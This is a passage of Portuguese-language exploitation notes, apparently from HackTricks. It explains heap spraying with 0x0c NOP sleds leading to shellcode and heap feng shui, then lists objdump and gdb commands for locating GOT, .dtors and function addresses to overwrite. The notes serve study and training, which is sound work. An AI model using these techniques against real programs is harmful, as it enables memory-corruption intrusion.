Por exemplo, fará que colocar em size 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ficar negativa porque se compara um unsigned).
|
||
|
||
Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
|
||
|
||
**Heap Spraying**
|
||
|
||
Basicamente consiste em reservar toda a memória possível para heaps e preencher esses com um colchão de nops acabados por uma shellcode. Além disso, como colchão se utiliza 0x0c. Pois se tentará saltar para o endereço 0x0c0c0c0c, e assim se sobrescrever alguma direção a que se vá chamar com esse colchão, se saltará ali. Basicamente, a tática é reservar o máximo possível para ver se se sobrescreve algum ponteiro e saltar para 0x0c0c0c0c esperando que ali haja nops.
|
||
|
||
**Heap Feng Shui**
|
||
|
||
Consiste em, através de reservas e liberações, semear a memória de forma que fiquem trozos reservados entre trozos livres. O buffer a desbordar se situará em um dos ovos.
|
||
|
||
**objdump -d executável** —> Disas functions\
|
||
**objdump -d ./PROGRAMA | grep FUNCION** —> Obter endereço da função\
|
||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e tirar os OpCodes\
|
||
**objdump -t ./exec | grep varBss** —> Tabela de símbolos, para tirar endereço de variáveis e funções\
|
||
**objdump -TR ./exec | grep exit(func lib)** —> Para tirar endereço de funções de bibliotecas (GOT)\
|
||
**objdump -d ./exec | grep funcCode**\
|
||
**objdump -s -j .dtors /exec**\
|
||
**objdump -s -j .got ./exec**\
|
||
**objdump -t --dynamic-relo ./exec | grep puts** —> Tira o endereço de puts a sobrescrever na GOT\
|
||
**objdump -D ./exec** —> Disas ALL até as entradas da plt\
|
||
**objdump -p -/exec**\
|
||
**Info functions strncmp —>** Info da função em gdb
|
||
|
||
## Cursos interessantes
|
||
|
||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||
|
||
## **Referências**
|
||
|
||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||
|
||
{% hint style="success" %}
|
||
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
||
</details>
|
||
{% endhint %}
|